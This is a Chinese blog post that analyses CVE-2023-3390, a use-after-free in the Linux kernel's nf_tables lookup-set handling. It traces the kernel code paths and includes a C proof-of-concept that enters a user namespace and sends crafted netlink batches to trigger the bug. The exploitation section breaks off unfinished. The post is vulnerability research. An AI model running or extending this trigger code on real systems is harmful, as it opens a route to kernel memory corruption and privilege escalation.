CVE-2023-3390


环境搭建

直接用了笔者复现CVE-2022-25636时的环境,本来一直都是用v5.10分析的,结果发现v5.10的内核代码似乎编译出来后有毛病🤬,甚至是相同的编译配置,在nla_strcmp函数中,nla中data字符串的真实长度总是不对,真的好烦,🤬🤬

version: v5.15

commit: 8bb7eca972ad531c9b149c0a51ab43a417385813

defconfig+

CONFIG_USER_NS=y
CONFIG_SECURITY_SELINUX_DISABLE=y
# for debug
CONFIG_KALLSYMS=y
CONFIG_KALLSYMS_ALL=y
CONFIG_DEBUG_INFO_DWARF4=y
# for msg_msg copy
CONFIG_CHECKPOINT_RESTORE=y
# for syzkaller image
CONFIG_CONFIGFS_FS=y
CONFIG_SECURITYFS=y

CONFIG_SLAB_FREELIST_RANDOM=n
CONFIG_SLAB_FREELIST_HARDENED=n
CONFIG_SHUFFLE_PAGE_ALLOCATOR=n
CONFIG_HARDENED_USERCOPY=n
CONFIG_FORTIFY_SOURCE=n
CONFIG_STATIC_USERMODEHELPER=n
CONFIG_DEBUG_INFO_NONE=n
CONFIG_RANDOMIZE_BASE=n

CONFIG_DEBUG_INFO=y #调试

CONFIG_NF_TABLES=y
CONFIG_NFT_DUP_NETDEV=y
CONFIG_NF_DUP_NETDEV=y #漏洞模块
CONFIG_SECURITY=y #才会释放 msg_msg->security 指针
CONFIG_BINFMT_MISC=y #否则启动VM时报错
CONFIG_USER_NS=y

CONFIG_E1000=y
CONFIG_E1000E=y

CONFIG_NF_TABLES_NETDEV=y #初始化chain_type
CONFIG_NF_TABLES_INET=y #初始化chain_type

漏洞分析

rule的expr创建

https://elixir.bootlin.com/linux/v5.10/source/net/netfilter/nf_tables_api.c#L3157

nf_tables_newrule函数重可以给新创建的rule添加若干expr,首先分配一个足够大的info数组,然后逐个分析每一个expr:

具体分析函数如下:

首先得找到对应type(payload、lookup、cmp、dup、immediate等等),然后配data,之后是ops,还有个attr也要放到info中,然后返回;

之后才是根据info中的内容,将expr逐个初始化到rule的data数组中(expr就直接在rule里边):

nf_tables_newexpr函数中,会调用expr对应的init函数(每一类expr都会有一个属于自己的ops,然后有自己这个type特定的init函数):

lookup类型的expr

type是在这个数组中找的:

下面找到lookup这个type的定义来看:

https://elixir.bootlin.com/linux/v5.10/source/net/netfilter/nft_lookup.c

让我们来重点看它的init函数:https://elixir.bootlin.com/linux/v5.10/source/net/netfilter/nft_lookup.c#L60

首先需要指定NFTA_LOOKUP_SETNFTA_LOOKUP_SREG,然后就会从ctx->table中找这个set;

注意这里的priv是expr的data:

但是这个data此时会被强转成如下结构:

这里笔者的理解是,struct nft_expt是个公共的结构,即好多种类型的expr都会用这样一个统一的结构体,所以data只是一个指针类型,但是到了具体的type上,就需要再来一次强转,各用各自类型的数据结构;

然后看一下这个nft_set_binding结构的定义:

下面看一下lookup类型的expr的deactivate函数:https://elixir.bootlin.com/linux/v5.10/source/net/netfilter/nft_lookup.c#L121

其核心就是释放set:(可见lookup就是为了用set而设计的)

这里重点关注NFT_TRANS_RELEASE,可以看到由于fallthrough的存在,在减少了set的引用计数之后,还是会走到default分支,然后调用nf_tables_unbind_set函数,phase为0:

然后如果set的bindings为空且是匿名set的话就会释放set;

expr出错导致rule释放

逐个处理一个rule的所有expr的过程中,如果出错就会转到err2:

在err2会调用nf_tables_rule_release函数来释放rule:

nf_tables_rule_release函数如下:

nft_rule_expr_deactivate函数中会逐个释放rule中的expr,

然后还会调用nf_tables_rule_destroy函数:

其中会调用nf_tables_expr_destroy函数:

然后就是lookup的expr的destroy函数:

最终检查引用计数后决定是否要free掉set:

简单总结一下:

循环给rule添加expr,只要有一个出问题,就会走到err2将整个rule释放掉;
err2:
nf_tables_rule_release(){
nft_rule_expr_deactivate(){
调用expr各自的ops->deactivate
对于lookup,就是减少set的引用计数,然后将set从table上摘下来;
}
nf_tables_rule_destroy(){
先destroy所有expr{
对于lookup就是调用ops->destroy(set),检查set引用计数,如果是0就kfree掉;
}
kfree(rule);
}
}

补充:set相关源码

https://elixir.bootlin.com/linux/v5.10/source/net/netfilter/nf_tables_api.c#L4103

首先是在nf_tables_newset函数中,会有一个trans增加的操作,这样就会有一个trans指向set然后挂到net->nft.commit_list上:

nf_tables_unbind_set浅析一下:

首先看list_del_rcu:

就是从链表上删除当前元素;

匿名set

__nf_tables_abort

如果在执行我们的批处理过程中出现错误,执行完本次的所有批处理后会调用__nf_tables_abort函数:(这也是笔者在复现CVE-2022-25636的时候遇到的一个很头疼的问题,好不容易成功分配了chain,结果执行完批处理后给哥们释放了)

https://elixir.bootlin.com/linux/v5.10/source/net/netfilter/nf_tables_api.c#L8061

首先会遍历net->nft.commit_list上的所有nft_trans:

然后根据不同的msg_type进行具体的处理,我们关注NFT_MSG_NEWRULE

这里的list_del_rcu会把rule从list上取下来,应该就是从chain的rules链表上(可以看到在此之前chain的引用计数减1了),然后又调用到了nft_rule_expr_deactivate函数:

相当于又对着所有的expr走了一遍deactivate函数:

触发漏洞

创建lookup expr

nft_set_lookup_byid

这里看一下nft_lookup_init函数中引用set的代码:

https://elixir.bootlin.com/linux/v5.10/source/net/netfilter/nft_lookup.c

所以我们可以搞一个错的set_name,然后让它根据id再找;

具体函数如下:

那么这个id应该怎么确定呢?🤔

我们来看一下nf_tables_newset函数,可以看到就是我们传进去的id:

从commit_list中取set是要看active的:

POC

最终访问了已经释放的set:

poc的主要代码如下:

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>
#include <linux/keyctl.h>

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void get_root_shell(){
printf("now pid == %p\n", getpid());
system("/bin/sh");
}

//CPU绑核
void bindCore(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


#include <sys/mman.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <netinet/if_ether.h>

void err_exit(char *s){
perror(s);
exit(-1);
}
void unshare_setup(void)
{
char edit[0x100];
int tmp_fd;

if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET))
err_exit("FAILED to create a new namespace");

tmp_fd = open("/proc/self/setgroups", O_WRONLY);
write(tmp_fd, "deny", strlen("deny"));
close(tmp_fd);

tmp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getuid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);

tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getgid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
}

#include <sys/socket.h>
#include <linux/netlink.h>

#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include <string.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <string.h>

#include "netlink.h"
#include "nf_tables.h"
#include "log.h"

const uint8_t zerobuf[0x40] = {0};

/**
* create_table(): Register a new table for the inet family
* @sock: socket bound to the netfilter netlink
* @name: Name of the new table
*/
void create_table(int sock, const char *name) {
struct msghdr msg;
struct sockaddr_nl dest_snl;
struct iovec iov[3];
struct nlmsghdr *nlh_batch_begin;
struct nlmsghdr *nlh;
struct nlmsghdr *nlh_batch_end;
struct nlattr *attr;
struct nfgenmsg *nfm;

/* Destination preparation */
memset(&dest_snl, 0, sizeof(dest_snl));
dest_snl.nl_family = AF_NETLINK;
memset(&msg, 0, sizeof(msg));

/* Netlink batch_begin message preparation */
nlh_batch_begin = get_batch_begin_nlmsg();

/* Netlink table message preparation */
nlh = (struct nlmsghdr *)malloc(TABLEMSG_SIZE);
if (!nlh)
do_error_exit("malloc");

memset(nlh, 0, TABLEMSG_SIZE);
nlh->nlmsg_len = TABLEMSG_SIZE;
nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWTABLE;
nlh->nlmsg_pid = getpid();
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = 0;

nfm = NLMSG_DATA(nlh);
nfm->nfgen_family = NFPROTO_INET;

/** Prepare associated attribute **/
attr = (void *)nlh + NLMSG_SPACE(sizeof(struct nfgenmsg));
set_str8_attr(attr, NFTA_TABLE_NAME, name);

/* Netlink batch_end message preparation */
nlh_batch_end = get_batch_end_nlmsg();

/* IOV preparation */
memset(iov, 0, sizeof(struct iovec) * 3);
iov[0].iov_base = (void *)nlh_batch_begin;
iov[0].iov_len = nlh_batch_begin->nlmsg_len;
iov[1].iov_base = (void *)nlh;
iov[1].iov_len = nlh->nlmsg_len;
iov[2].iov_base = (void *)nlh_batch_end;
iov[2].iov_len = nlh_batch_end->nlmsg_len;

/* Message header preparation */
msg.msg_name = (void *)&dest_snl;
msg.msg_namelen = sizeof(struct sockaddr_nl);
msg.msg_iov = iov;
msg.msg_iovlen = 3;

sendmsg(sock, &msg, 0);

/* Free used structures */
free(nlh_batch_end);
free(nlh);
free(nlh_batch_begin);
}
void create_set(int sock, const char *set_name, uint32_t set_keylen, uint32_t data_len, const char *table_name, uint32_t id) {
struct msghdr msg;
struct sockaddr_nl dest_snl;
struct nlmsghdr *nlh_batch_begin;
struct nlmsghdr *nlh_payload;
struct nlmsghdr *nlh_batch_end;
struct nfgenmsg *nfm;
struct nlattr *attr;
uint64_t nlh_payload_size;
struct iovec iov[3];

/* Prepare the netlink sockaddr for msg */
memset(&dest_snl, 0, sizeof(struct sockaddr_nl));
dest_snl.nl_family = AF_NETLINK;

/* First netlink message: batch_begin */
nlh_batch_begin = get_batch_begin_nlmsg();

/* Second netlink message : Set attributes */
nlh_payload_size = sizeof(struct nfgenmsg); // Mandatory
nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_TABLE
nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_NAME
nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_ID
nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_KEY_LEN
nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_FLAGS
nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_DATA_TYPE
//nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_DATA_LEN
nlh_payload_size = NLMSG_SPACE(nlh_payload_size);

/** Allocation **/
nlh_payload = (struct nlmsghdr *)malloc(nlh_payload_size);
if (!nlh_payload)
do_error_exit("malloc");

memset(nlh_payload, 0, nlh_payload_size);

/** Fill the required fields **/
nlh_payload->nlmsg_len = nlh_payload_size;
nlh_payload->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSET;
nlh_payload->nlmsg_pid = getpid();
nlh_payload->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE;
nlh_payload->nlmsg_seq = 0;


/** Setup the nfgenmsg **/
nfm = (struct nfgenmsg *)NLMSG_DATA(nlh_payload);
nfm->nfgen_family = NFPROTO_INET;

/** Setup the attributes */
attr = (struct nlattr *)((void *)nlh_payload + NLMSG_SPACE(sizeof(struct nfgenmsg)));
attr = set_str8_attr(attr, NFTA_SET_TABLE, table_name);
attr = set_str8_attr(attr, NFTA_SET_NAME, set_name);
attr = set_u32_attr(attr, NFTA_SET_ID, id);
attr = set_u32_attr(attr, NFTA_SET_KEY_LEN, set_keylen);
attr = set_u32_attr(attr, NFTA_SET_FLAGS, 1);
//attr = set_u32_attr(attr, NFTA_SET_DATA_TYPE, 0);
set_u32_attr(attr, NFTA_SET_DATA_LEN, data_len);

/* Last netlink message: batch_end */
nlh_batch_end = get_batch_end_nlmsg();

/* Setup the iovec */
memset(iov, 0, sizeof(struct iovec) * 3);
iov[0].iov_base = (void *)nlh_batch_begin;
iov[0].iov_len = nlh_batch_begin->nlmsg_len;
iov[1].iov_base = (void *)nlh_payload;
iov[1].iov_len = nlh_payload->nlmsg_len;
iov[2].iov_base = (void *)nlh_batch_end;
iov[2].iov_len = nlh_batch_end->nlmsg_len;

/* Prepare the message to send */
memset(&msg, 0, sizeof(struct msghdr));
msg.msg_name = (void *)&dest_snl;
msg.msg_namelen = sizeof(struct sockaddr_nl);
msg.msg_iov = iov;
msg.msg_iovlen = 3;

/* Send message */
sendmsg(sock, &msg, 0);

/* Free allocated memory */
free(nlh_batch_end);
free(nlh_payload);
free(nlh_batch_begin);
}

void create_chain(int sock, const char *table_name, const char *chain_name) {
struct msghdr msg;
struct sockaddr_nl dest_snl;
struct iovec iov[3];
struct nlmsghdr *nlh_batch_begin;
struct nlmsghdr *nlh;
struct nlmsghdr *nlh_batch_end;
struct nlattr *attr;
struct nfgenmsg *nfm;

/* Destination preparation */
memset(&dest_snl, 0, sizeof(dest_snl));
dest_snl.nl_family = AF_NETLINK;
memset(&msg, 0, sizeof(msg));

/* Netlink batch_begin message preparation */
nlh_batch_begin = get_batch_begin_nlmsg();

int nlh_payload_size = sizeof(struct nfgenmsg);
nlh_payload_size += S8_NLA_SIZE;
nlh_payload_size += S8_NLA_SIZE;

nlh_payload_size = NLMSG_SPACE(nlh_payload_size);

/* Netlink table message preparation */
nlh = (struct nlmsghdr *)malloc(nlh_payload_size);
if (!nlh)
do_error_exit("malloc");


memset(nlh, 0, nlh_payload_size);
nlh->nlmsg_len = nlh_payload_size;
nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWCHAIN;
nlh->nlmsg_pid = getpid();
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = 0;

nfm = NLMSG_DATA(nlh);
nfm->nfgen_family = NFPROTO_INET;

/** Prepare associated attribute **/
attr = (void *)nlh + NLMSG_SPACE(sizeof(struct nfgenmsg));
attr = set_str8_attr(attr, NFTA_CHAIN_TABLE, table_name);
attr = set_str8_attr(attr, NFTA_CHAIN_NAME, chain_name);

/* Netlink batch_end message preparation */
nlh_batch_end = get_batch_end_nlmsg();

/* IOV preparation */
memset(iov, 0, sizeof(struct iovec) * 3);
iov[0].iov_base = (void *)nlh_batch_begin;
iov[0].iov_len = nlh_batch_begin->nlmsg_len;
iov[1].iov_base = (void *)nlh;
iov[1].iov_len = nlh->nlmsg_len;
iov[2].iov_base = (void *)nlh_batch_end;
iov[2].iov_len = nlh_batch_end->nlmsg_len;

/* Message header preparation */
msg.msg_name = (void *)&dest_snl;
msg.msg_namelen = sizeof(struct sockaddr_nl);
msg.msg_iov = iov;
msg.msg_iovlen = 3;

sendmsg(sock, &msg, 0);

/* Free used structures */
free(nlh_batch_end);
free(nlh);
free(nlh_batch_begin);
}

void pwn(int sock){
struct msghdr msg;
struct sockaddr_nl dest_snl;
struct iovec iov[0x100];
struct nlmsghdr *nlh_batch_begin;
struct nlmsghdr *nlh_batch_end;
struct nlattr *attr;
struct nfgenmsg *nfm;

/* Destination preparation */
memset(&dest_snl, 0, sizeof(dest_snl));
dest_snl.nl_family = AF_NETLINK;
memset(&msg, 0, sizeof(msg));

/* Netlink batch_begin message preparation */
nlh_batch_begin = get_batch_begin_nlmsg();

/*
{
"NFTA_SET_TABLE":"my_table",
"NFTA_SET_NAME":"my_set01",
"NFTA_SET_ID":1,
"NFTA_SET_KEY_LEN":16,
"NFTA_SET_FLAGS":1,
"NFTA_SET_DATA_LEN":16

}
*/

int pay0_size = 60; //消息体的大小;
int nlh0_size = NLMSG_SPACE(pay0_size); //整个nlmsghdr的大小

/* Netlink table message preparation */
struct nlmsghdr *nlh0 = (struct nlmsghdr *)malloc(nlh0_size); //这里分配的是整个nlmsghdr的空间

memset(nlh0, 0, nlh0_size);
nlh0->nlmsg_len = nlh0_size;
nlh0->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSET; //注意修改
nlh0->nlmsg_pid = getpid();
nlh0->nlmsg_flags = NLM_F_REQUEST| NLM_F_CREATE;
nlh0->nlmsg_seq = 0;

uint8_t msgcon0[] = {1,0,0,0,12,0,1,0,109,121,95,116,97,98,108,101,12,0,2,0,109,121,95,115,101,116,48,49,8,0,10,0,0,0,0,1,8,0,5,0,0,0,0,16,8,0,3,0,0,0,0,1,8,0,7,0,0,0,0,16};
memcpy((void *)nlh0+0x10, msgcon0, pay0_size);

int pay01_size = 60; //消息体的大小;
int nlh01_size = NLMSG_SPACE(pay01_size); //整个nlmsghdr的大小

/* Netlink table message preparation */
struct nlmsghdr *nlh01 = (struct nlmsghdr *)malloc(nlh01_size); //这里分配的是整个nlmsghdr的空间

memset(nlh01, 0, nlh01_size);
nlh01->nlmsg_len = nlh01_size;
nlh01->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSET; //注意修改
nlh01->nlmsg_pid = getpid();
nlh01->nlmsg_flags = NLM_F_REQUEST| NLM_F_CREATE;
nlh01->nlmsg_seq = 0;

uint8_t msgcon01[] = {1,0,0,0,12,0,1,0,109,121,95,116,97,98,108,101,12,0,2,0,109,121,95,115,101,116,48,50,8,0,10,0,0,0,0,2,8,0,5,0,0,0,0,16,8,0,3,0,0,0,0,1,8,0,7,0,0,0,0,16};
memcpy((void *)nlh01+0x10, msgcon01, pay01_size);

/*
{
"NFTA_RULE_TABLE":"my_table",
"NFTA_RULE_CHAIN":"my_chain",
"NFTA_RULE_EXPRESSIONS":{
"NFTA_LIST_ELEM":{
"NFTA_EXPR_DATA":{
"NFTA_LOOKUP_SET":"my_set01",
"NFTA_LOOKUP_SREG":1,
"NFTA_LOOKUP_SET_ID":1
},
"NFTA_EXPR_NAME":"lookup"
},
"NFTA_LIST_ELEM@2":{
"NFTA_EXPR_DATA":{
"NFTA_LOOKUP_SET":"my_set02",
"NFTA_LOOKUP_SREG":1,
"NFTA_LOOKUP_SET_ID":2
},
"NFTA_EXPR_NAME":"lookup"
},
"NFTA_LIST_ELEM@3":{
"NFTA_EXPR_DATA":{
"NFTA_LOOKUP_SET":"12345678",
"NFTA_LOOKUP_SREG":1
},
"NFTA_EXPR_NAME":"lookup"
}
}
}


*/

int pay1_size = 168; //消息体的大小;
int nlh1_size = NLMSG_SPACE(pay1_size); //整个nlmsghdr的大小

/* Netlink table message preparation */
struct nlmsghdr *nlh1 = (struct nlmsghdr *)malloc(nlh1_size); //这里分配的是整个nlmsghdr的空间

memset(nlh1, 0, nlh1_size);
nlh1->nlmsg_len = nlh1_size;
nlh1->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWRULE; //注意修改
nlh1->nlmsg_pid = getpid();
nlh1->nlmsg_flags = NLM_F_REQUEST| NLM_F_CREATE;
nlh1->nlmsg_seq = 0;


uint8_t msgcon1[] = {1,0,0,0,12,0,1,0,109,121,95,116,97,98,108,101,12,0,2,0,109,121,95,99,104,97,105,110,140,0,4,0,48,0,1,0,32,0,2,0,12,0,1,0,109,121,95,115,101,116,48,49,8,0,2,0,0,0,0,1,8,0,4,0,0,0,0,1,12,0,1,0,108,111,111,107,117,112,0,0,48,0,1,0,32,0,2,0,12,0,1,0,109,121,95,115,101,116,48,50,8,0,2,0,0,0,0,1,8,0,4,0,0,0,0,2,12,0,1,0,108,111,111,107,117,112,0,0,40,0,1,0,24,0,2,0,12,0,1,0,49,50,51,52,53,54,55,56,8,0,2,0,0,0,0,1,12,0,1,0,108,111,111,107,117,112,0,0};
memcpy((void *)nlh1+0x10, msgcon1, pay1_size);

/*
{
"NFTA_RULE_TABLE":"my_table",
"NFTA_RULE_CHAIN":"my_chain",
"NFTA_RULE_EXPRESSIONS":{
"NFTA_LIST_ELEM":{
"NFTA_EXPR_DATA":{
"NFTA_LOOKUP_SET":"my_set01",
"NFTA_LOOKUP_SREG":1,
"NFTA_LOOKUP_SET_ID":1
},
"NFTA_EXPR_NAME":"lookup"
},
"NFTA_LIST_ELEM@2":{
"NFTA_EXPR_DATA":{
"NFTA_LOOKUP_SET":"my_set02",
"NFTA_LOOKUP_SREG":1,

},
"NFTA_EXPR_NAME":"lookup"
},
"NFTA_LIST_ELEM@3":{
"NFTA_EXPR_DATA":{
"NFTA_LOOKUP_SET":"my_set02",
"NFTA_LOOKUP_SREG":1
},
"NFTA_EXPR_NAME":"12345678"
}
}
}
*/




int pay2_size = 152;
int nlh2_size = NLMSG_SPACE(pay2_size);
struct nlmsghdr *nlh2 = (struct nlmsghdr *)malloc(nlh2_size);

uint8_t msgcon2[] = {1,0,0,0,12,0,1,0,109,121,95,116,97,98,108,101,12,0,2,0,109,121,95,99,104,97,105,110,124,0,4,0,40,0,1,0,24,0,2,0,12,0,1,0,109,121,95,115,101,116,48,49,8,0,2,0,0,0,0,1,12,0,1,0,108,111,111,107,117,112,0,0,40,0,1,0,24,0,2,0,12,0,1,0,109,121,95,115,101,116,48,50,8,0,2,0,0,0,0,1,12,0,1,0,108,111,111,107,117,112,0,0,40,0,1,0,24,0,2,0,12,0,1,0,109,121,95,115,101,116,48,50,8,0,2,0,0,0,0,1,12,0,1,0,49,50,51,52,53,54,55,56};
memcpy((void *)nlh2+0x10, msgcon2, pay2_size);


memset(nlh2, 0, nlh2_size);
nlh2->nlmsg_len = nlh2_size;
nlh2->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWRULE;
nlh2->nlmsg_pid = getpid();
nlh2->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE;
nlh2->nlmsg_seq = 0;

nlh_batch_end = get_batch_end_nlmsg();

/* IOV preparation */
memset(iov, 0, sizeof(iov));
int tot_iov = 0;
iov[tot_iov].iov_base = (void *)nlh_batch_begin;
iov[tot_iov++].iov_len = nlh_batch_begin->nlmsg_len;
iov[tot_iov].iov_base = nlh0;
iov[tot_iov++].iov_len = nlh0->nlmsg_len;
iov[tot_iov].iov_base = nlh01;
iov[tot_iov++].iov_len = nlh01->nlmsg_len;
iov[tot_iov].iov_base = nlh1;
iov[tot_iov++].iov_len = nlh1->nlmsg_len;
iov[tot_iov].iov_base = nlh1;
iov[tot_iov++].iov_len = nlh1->nlmsg_len;
iov[tot_iov].iov_base = (void *)nlh_batch_end;
iov[tot_iov++].iov_len = nlh_batch_end->nlmsg_len;

/* Message header preparation */
msg.msg_name = (void *)&dest_snl;
msg.msg_namelen = sizeof(struct sockaddr_nl);
msg.msg_iov = iov;
msg.msg_iovlen = tot_iov;

sendmsg(sock, &msg, 0);

/* Free used structures */
free(nlh_batch_end);
free(nlh1);
free(nlh_batch_begin);
}




int main(){
save_status();
bindCore(0);
unshare_setup();

int sock;
if ((sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_NETFILTER)) < 0) {
perror("socket");
}
printf("[+] Netlink socket created\n");

create_table(sock, "my_table");
create_chain(sock, "my_table", "my_chain");

pwn(sock);




}


漏洞成因总结

在给rule添加expr的时候,如果第一个parse过了,然后在分配(其实就是在rule上初始化)expr的时候如果出错了,就会释放rule:

  1. 首先会析构所有expr,对于lookup类型来说就是减少对应set的引用计数、将set从table上移除;
  2. 然后释放资源,先释放expr的资源,对于lookup来说就是尝试释放set(引用计数决定是否释放);
  3. 最后释放rule;

但是内核忘记将释放掉的set的active的mask关掉,仅仅是将set从table上移除以及根据引用计数决定是否free,这就导致了如果能通过commit_list访问这个set的话,那么这个set还是活跃的,而只要在同一个netlink批处理中,这个已经被释放了的set就可以从commit_list上找到;

最终导致了set(kmalloc-512)的UAF!😮

漏洞利用

上述代码运行后会得到如下poc现场:

nf_tables_deactivate_set函数中,会有如下一个代码片段,这个指令中的rax就是前面报错中的0xdead000000000122:

对应的源代码时:

似乎这是一个硬性的脏数据填充:

对应的源码如下:

因此第二次使用不能再走原来的路子,否则就可能会导致

参考

https://www.cnblogs.com/hac425/p/17972151/cve-2023-3390-za4pu7

https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-3390_lts_cos_mitigation/docs/vulnerability.md


文章作者: q1ming
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1ming !
  目录